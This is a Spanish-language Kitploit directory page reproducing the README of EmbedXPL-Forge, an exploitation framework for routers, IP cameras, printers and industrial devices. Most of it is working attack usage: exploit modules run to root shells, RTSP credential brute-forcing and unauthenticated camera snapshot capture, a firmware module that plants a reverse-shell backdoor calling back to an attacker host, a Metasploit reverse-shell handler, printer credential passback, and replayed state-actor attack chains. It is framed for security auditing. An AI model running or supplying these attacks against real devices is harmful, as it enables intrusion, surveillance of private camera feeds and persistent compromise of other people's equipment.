Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EmbedXPL-Forge — Embedded Device Security Assessment Framework — 700 módulos, 350 CVE, 55 proveedores, APT Group Engine. Cubre routers, cámaras IP, ONT GPON, CPE de ISP, IoT/edge embebido. | Kitploit
Herramientas/GitHubGitHub/mrhenrike/embedxpl-forge
Seguridad de Sistemas EmbebidosFrameworks de Pruebas de PenetraciónEscáneres de VulnerabilidadesFrameworks de ExploitsSeguridad IoTMapeo de RedesAtaques de ContraseñasGeneración de PayloadsExplotaciónSeguridad SCADA/ICSSeguridad de Hardware e IoT
42822hace 20h 15mRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Análisis de Firmware
GitHubmrhenrike/embedxpl-forge

EmbedXPL-Forge

Embedded Device Security Assessment Framework — 700 módulos, 350 CVE, 55 proveedores, APT Group Engine. Cubre routers, cámaras IP, ONT GPON, CPE de ISP, IoT/edge embebido.

Ver RepositorioSitio web

EmbedXPL-Forge

Python Platform License XPL Suite Issues Last Commit


Nota de plataforma: Este framework está diseñado y probado principalmente en Linux (Debian/Ubuntu/Kali). La mayoría de los módulos dependientes del hardware (adaptadores inalámbricos, dispositivos USB, acceso a sockets raw, herramientas de firmware) requieren Linux. Ejecutarlo en Windows o macOS puede provocar errores o funcionalidad limitada en muchos módulos. Se recomienda encarecidamente Linux para obtener la máxima compatibilidad.


EmbedXPL-Forge

Framework de evaluación de seguridad embebida y perimetral

EmbedXPL-Forge es un framework de explotación y escaneo de código abierto para profesionales de seguridad que auditan routers, switches, cámaras IP, NVR/DVR, ONTs GPON, CPEs de ISP, impresoras, IoT, OT/ICS y dispositivos embebidos de borde. Proporciona más de 2800 módulos activos que cubren pruebas de credenciales, explotación de vulnerabilidades, escaneo de red, generación de payloads, ataques a cámaras RTSP, manipulación de firmware, orquestación PolyExploit multi-lenguaje y un arsenal completo para impresoras — con más de 700 CVEs mapeados en más de 114 fabricantes y un Motor de Ataque de Grupos APT que reproduce cadenas de ataque reales de actores estatales.

Versión: 3.2.0

Características

  • Más de 625 módulos de explotación — RCE, bypass de autenticación, path traversal, divulgación de información, desbordamiento de búfer, secuestro de DNS, inyección de comandos, backdoor, CSRF, descifrado de configuración, keygen WPA/WPS, generadores de contraseñas de fábrica, cadenas de BOF de heap/stack
  • 88 módulos de credenciales — ataques de diccionario contra FTP, SSH, Telnet, HTTP, SNMP, SFTP
  • Más de 185 módulos de explotación de impresoras — HP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; PJL/IPP/LPD/WSD/CUPS; cadenas de Pwn2Own 2026; PrintingShellz; coerción NTLM MS-RPRN
  • Motor completo de cámaras RTSP — fuerza bruta de rutas (más de 195 rutas), fuerza bruta de credenciales (más de 80 pares), autenticación Basic/Digest, RTSPS/TLS, túnel RTSP-sobre-HTTP (Python puro, RFC 2326 App-C), escáner nmap/masscan/directo, ONVIF WS-Discovery, salida M3U
  • 7 scripts NSE personalizados de Nmap — descubrimiento RTSP, fingerprinting de cámaras, validación de CVE de Hikvision/Dahua, prueba de credenciales por defecto, comprobaciones de CVE multi-fabricante, captura de instantáneas (pip install embedxpl[nse])
  • Suite de explotación de firmware — detección de formato, inyección de backdoor, parcheo de checksum, bypass de flash de fabricante (NETGEAR, TP-Link, D-Link, ASUS)
  • Orquestador PolyExploit — compilación en tiempo de ejecución de C/C++ (gcc/clang/mingw/cross), ejecución de exploits en Ruby/Node.js/PHP/Bash/Perl, integración con msfconsole, integración con ExploitDB/searchsploit
  • Módulos ICS/OT — Universal Robots PolyScope 5, RIOT OS, Modbus, S7comm, EtherNet/IP, BACnet, DNP3
  • Smart home / marítimo / especializado — eNet SMART HOME, OpenRemote, Metis maritime IoT (WIC/DFS)
  • Más de 5 módulos de escaneo — AutoPwn, escáneres específicos de dispositivo, descubrimiento de impresoras WSD/mDNS
  • 32 módulos de payload — shells TCP reverse/bind para x86, x64, ARM, MIPS, Python, Perl, PHP
  • 13 módulos de codificación — codificación Base64 y hex para Python, PHP, Perl
  • 14 módulos genéricos — Heartbleed, ShellShock, UPnP IGD, fuerza bruta SNMP, TCP Xmas, amplificación UDP, búsqueda de CVE, detector de secuestro DNS, interceptor AITM
  • Más de 700 CVEs mapeados — desde 2001 hasta 2026, incluyendo cadenas de Pwn2Own 2026 y CVEs críticos de IoT/OT/marítimos

Tipos de dispositivos compatibles

Fabricantes compatibles

Red / Router / CPE: 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL

Cámaras / NVR / DVR: Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · cámaras Cisco · Geuterbruck · cámaras Honeywell · Jovision · cámaras Siemens · Xiongmai (OEM) · Zivif · MVPower DVR · cámaras WiFi P2P genéricas · DVR/NVR OEM genéricos

Impresoras / MFP: HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · IPP/PJL/LPD/CUPS/WSD genéricos

NAS / VPN / Firewall / Seguridad: QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent

ICS / OT / Robótica: Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP

Smart Home / Marítimo / SO embebido: eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (marítimo) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen

Instalación

Opción 1 — PyPI (recomendada)```bash

pip install embedxpl embedxpl

root@kitploit:~
### Opción 2 — Con scripts NSE de Nmap```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"

# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install

# Verify installation
python -m embedxpl.nse list

Nota: En Linux/macOS el paso de instalación puede requerir sudo para escribir en /usr/share/nmap/scripts/. Ejecutar: sudo python -m embedxpl.nse install

Opción 3 — Desde el código fuente```bash

git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher

or: python exf.py # auto-detects .venv

Optional: also install NSE scripts

.venv/bin/python -m embedxpl.nse install

root@kitploit:~
### Opción 4 — Módulo de Python```bash
pip install embedxpl
python -m embedxpl

Inicio rápido```bash

Install

pip install embedxpl

Launch interactive shell

embedxpl

Run a specific module directly

embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1

Network discovery

embedxpl -c "discover 192.168.1.0/24"

RTSP camera scan + brute-force

embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100

Nmap NSE quick scan (after pip install embedxpl[nse] + embedxpl-nse install)

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100

root@kitploit:~
## Uso

### Shell Interactivo```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run

Comandos comunes

Motor de ataque de grupos APT```

List all cataloged threat actors

exf > apt list

Show APT28 attack chain details

exf > apt show apt28

Search for groups targeting MikroTik

exf > apt search mikrotik

Execute the full APT28 DNS hijack chain (interactive)

exf > apt run apt28

Execute only the credential disclosure attack (#0)

exf > apt run apt28 0

root@kitploit:~
### Descubrimiento de Red```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover

# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1

# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh

El descubrimiento utiliza un pipeline multifase: barrido ARP → Nmap (sondas de host multimétodo) → Scapy → fallback de conexión TCP. Los resultados se comparan con el catálogo de módulos y se filtran por proveedor/modelo. La base de datos IEEE OUI (embedxpl/data/oui.txt) resuelve direcciones MAC a proveedores con búsqueda en línea primero y fallback local. Cuando un host expone capacidades WiFi, la herramienta recomienda WirelessXPL-Forge para ataques específicos de wireless.

Perfiles de temporización (T0–T5) reflejan las convenciones de Nmap:

Gestión de sesiones```

List all hosts with scan history

exf > sessions list

Full history for one host: tested modules, findings, timestamps

exf > sessions show 192.168.1.1

Export session as JSON

exf > sessions export 192.168.1.1

Delete one session

exf > sessions delete 192.168.1.1

Purge all sessions

exf > sessions purge

root@kitploit:~
Las sesiones se almacenan en `~/.exf_sessions/` como JSON, indexadas por el SHA-256 de IP+MAC. Al redescubrir un host conocido, los módulos ya probados se muestran como `[Tested]` y se omiten por defecto.

### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run

Motor de Cámara RTSP

Pipeline de ataque RTSP con todas las funciones y una implementación nativa de Python que cubre todos los modos de transporte RTSP estándar.

Modos de Transporte

Pipeline de Ataque```python

from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream

1. Discover RTSP-speaking hosts on the network

scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])

Returns: [('192.168.1.100', 554), ('192.168.1.101', 8554), ...]

2. Run full 5-phase attack pipeline

attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)

3. Inspect results

for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True

root@kitploit:~
**Salida esperada:**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3

Modo Skip-Scan (Hosts conocidos)```python

Skip network scan, attack known hosts directly

hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])

Accepts: "host:port", "host", CIDR "192.168.1-2.0-255", hostnames

root@kitploit:~
**Entrada/salida esperada:**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])

# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]

Túnel RTSP sobre HTTP

Se utiliza cuando las cámaras están detrás de proxies HTTP o firewalls corporativos que bloquean TCP/554.```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel

Direct tunnel usage

tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )

Returns: raw RTSP response bytes (base64-decoded from HTTP body)

Or via RTSPClient factory

client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")

root@kitploit:~
**Entrada/salida esperada:**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
  status  = 200
  server  = "Hikvision IP Camera NVRA (V5.4.5)"
  methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"

Módulo RTSP (Interactivo)```

embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options

Option Default Description


target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery

embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run

root@kitploit:~
## Scripts NSE de Nmap

EmbedXPL-Forge incluye 7 scripts NSE personalizados de Nmap para escaneo de IoT/cámaras y detección de CVE.

### Instalación```bash
# Install with NSE extras
pip install "embedxpl[nse]"

# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install

# Force overwrite existing scripts
python -m embedxpl.nse install --force

# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts

Salida esperada:``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse

Installed: 7 script(s) [OK] nmap --script-updatedb complete

root@kitploit:~
### Listar / Información```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover

Referencia de scripts NSE

embedxpl-rtsp-discover — Descubrimiento de servicios RTSP

Detecta servicios RTSP, obtiene el banner Server:, identifica el proveedor, lista los métodos soportados y hace referencias cruzadas con CVEs conocidos.```bash

Basic usage

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24

With custom timeout

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24

root@kitploit:~
**Salida esperada:**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
|   Status : 200
|   Server : Hikvision IP Camera NVRA (V5.4.5)
|   Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
|   Vendor : Hikvision
|   Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-camera-identify — Huella digital profunda de cámaras

Identificación multiprotocolo: sondea la interfaz web HTTP/HTTPS, el banner RTSP y ONVIF. Extrae fabricante, modelo, firmware, número de serie y MAC.```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24

root@kitploit:~
**Salida esperada (Hikvision):**```
80/tcp open http
| embedxpl-camera-identify:
|   Protocol : HTTP (HTTP 200)
|   Vendor   : Hikvision
|   Model    : DS-2CD2143G0-I
|   Firmware : V5.6.2 build 190401
|   Serial   : DS-2CD2143G0-I20190401AAWRA123456789
|   CVEs     : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
|   Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-hikvision-vuln — Verificador de CVE de Hikvision

Validación activa de CVE-2021-36260 (RCE a través de /SDK/webLanguage, CVSS 9.8) y CVE-2017-7921 (captura de pantalla con omisión de autenticación).```bash nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100 nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24

root@kitploit:~
**Salida esperada:**```
80/tcp open http
| embedxpl-hikvision-vuln:
|   Device          : DS-2CD2143G0-I
|   Firmware        : V5.3.0 build 170112
|   CVE-2021-36260  : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
|   CVE-2017-7921   : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
|   EmbedXPL RCE module  : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_  Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-dahua-vuln — Comprobador de CVE de Dahua

Prueba CVE-2021-33044 (omisión de autenticación, CVSS 9.8), CVE-2020-25078 (divulgación de usuarios), CVE-2013-6117 (DVR heredado). También cubre OEMs de Dahua: Amcrest, Intelbras, TVT, Jovision, ANNKE.```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24

root@kitploit:~
**Salida esperada:**```
80/tcp open http
| embedxpl-dahua-vuln:
|   Vendor         : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
|   CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
|   CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
|   CVE-2013-6117  : NOT VULNERABLE
|   EmbedXPL Auth Bypass  : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|   EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_  Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

embedxpl-rtsp-creds — Probador de credenciales predeterminadas RTSP

Prueba 18 pares de credenciales predeterminadas en más de 9 rutas RTSP comunes usando autenticación Basic. Reporta la primera coincidencia.```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100

With custom route hint

nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100

root@kitploit:~
**Salida esperada:**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
|   Server           : Hikvision IP Camera NVRA
|   Credential found : admin: (empty password)
|   Stream URL       : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
|   Auth type        : Basic
|   Response code    : 200
|   EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_  Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-iot-cve-check — Huella CVE multi-fabricante

Detecta y valida 10 CVE activos en Hikvision, Dahua, D-Link NAS, Reolink, Uniview, QNAP, SonicWall y GPON.```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24

root@kitploit:~
**Salida esperada:**```
80/tcp open http
| embedxpl-iot-cve-check:
|   CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
|     → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   CVE-2021-33044 (Dahua, CVSS 9.8)   : NOT VULNERABLE — HTTP 404
|   EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_  Full exploitation: pip install embedxpl && embedxpl

embedxpl-camera-snapshot — Acceso a instantáneas sin autenticación

Sondea 16 endpoints de instantáneas específicos de cada proveedor. Informa cualquier URL que devuelva image/* sin credenciales. Opcionalmente guarda archivos JPEG localmente.```bash nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100

Save snapshots to disk

nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24

root@kitploit:~
**Salida esperada:**```
80/tcp open http
| embedxpl-camera-snapshot:
|   Endpoint 1 (Dahua):
|     URL          : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
|     Content-Type : image/jpeg
|     Size         : 45231 bytes
|     Access       : UNAUTHENTICATED SNAPSHOT ACCESS
|     EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_    Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

Ejecutar todos los scripts NSE mediante Python```bash

Run all scripts via embedxpl-nse CLI

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all

Run specific scripts

python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln

With output file

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt

Custom ports

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554

root@kitploit:~
**Desinstalar:**```bash
python -m embedxpl.nse uninstall

Explotación de Firmware```

embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run

root@kitploit:~
**Qué hace:**
1. Detecta el formato del firmware (TRX, DLOB, SEAMA, WRGG, binario sin procesar)
2. Inyecta un backdoor de reverse shell en un offset adecuado
3. Recalcula el checksum CRC32/MD5
4. Sube mediante el endpoint de flasheo específico del proveedor (omitiendo la autenticación cuando corresponde)
5. Espera el reinicio del dispositivo y verifica la ejecución del backdoor


## PolyExploit Orchestrator

Permite la compilación en tiempo de ejecución de C/C++ y la ejecución de scripts en múltiples lenguajes para exploits que no son portables a Python puro.

### Compilación en tiempo de ejecución de C/C++```python
from embedxpl.core.poly import CCompiler

compiler = CCompiler()

# Check available compilers
print(compiler.compiler_available())  # {'gcc': True, 'clang': False, 'mingw': False}

# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
    source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    // Stack overflow PoC
    char buf[64];
    memcpy(buf, argv[1], atoi(argv[2]));
    return 0;
}
""",
    arch="x86",   # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)

# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)

Ejecución de scripts multi-lenguaje```python

from embedxpl.core.poly import PolyRunner

runner = PolyRunner() print(runner.available_runtimes())

{'ruby': True, 'node': True, 'php': True, 'bash': True, 'perl': True}

Execute a Ruby exploit

result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])

Metasploit integration

runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })

ExploitDB / searchsploit lookup

results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])

root@kitploit:~
## Novedades en v3.1.0 — CVE 2026/2025/2024 + Dominio de Impresoras + Puertas de Calidad

**54 nuevos módulos** que abarcan impresoras, SO embebidos, ICS/OT, hogar inteligente, IoT marítimo y cadenas de Pwn2Own 2026. Aspectos destacados:

### Cadenas de Pwn2Own 2026```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed

# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run

CVE críticos de 2026```

wolfSSL identity forgery (CVE-2026-5194, CVSS 9.3, ~5B devices)

exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run

PAN-OS User-ID BOF (CVE-2026-0300, CVSS 9.8, active exploitation)

exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run

Universal Robots PolyScope 5 (CVE-2026-8153, CVSS 9.8, unauth OS cmd injection)

exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)

GNU InetUtils telnetd auth bypass (CVE-2026-24061, CVSS 9.8, unauth root)

exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)

Metis maritime IoT (CVE-2026-2248, CVSS 9.8, unauth root shell)

exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run

Cisco IOS XE WLC hardcoded JWT (CVE-2025-20188, CVSS 10.0)

exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run

root@kitploit:~
### Ejemplos de Printer Arsenal```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS     : READY
INFO PAGECOUNT  : 12847
INFO MEMORY     : 512000 BYTES

# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run

# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication

Cobertura de Backdoors / Contraseñas de Fábrica

Más de 27 módulos de exploit dirigidos a contraseñas de fábrica, backdoors codificados, algoritmos de generación de claves WPA predeterminadas y vectores CSRF de secuestro de DNS en routers SOHO antiguos y modernos. Ejemplos clave:```

EasyBox (Arcadyan) — WPA2 default key from MAC (factory algorithm)

